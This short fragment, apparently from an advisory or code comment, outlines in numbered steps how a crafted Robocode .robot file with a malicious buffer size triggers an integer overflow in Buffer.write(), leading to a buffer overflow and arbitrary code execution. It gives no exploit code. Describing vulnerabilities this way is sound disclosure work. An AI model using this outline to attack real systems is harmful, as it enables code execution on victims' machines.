Attacker crafts a robot (.robot) file with malicious buffer size // 2. Victim loads the robot file in vulnerable Robocode version // 3. The Buffer.write() method processes the malicious length // 4. Integer overflow occurs during buffer allocation // 5. Buffer overflow allows arbitrary code execution
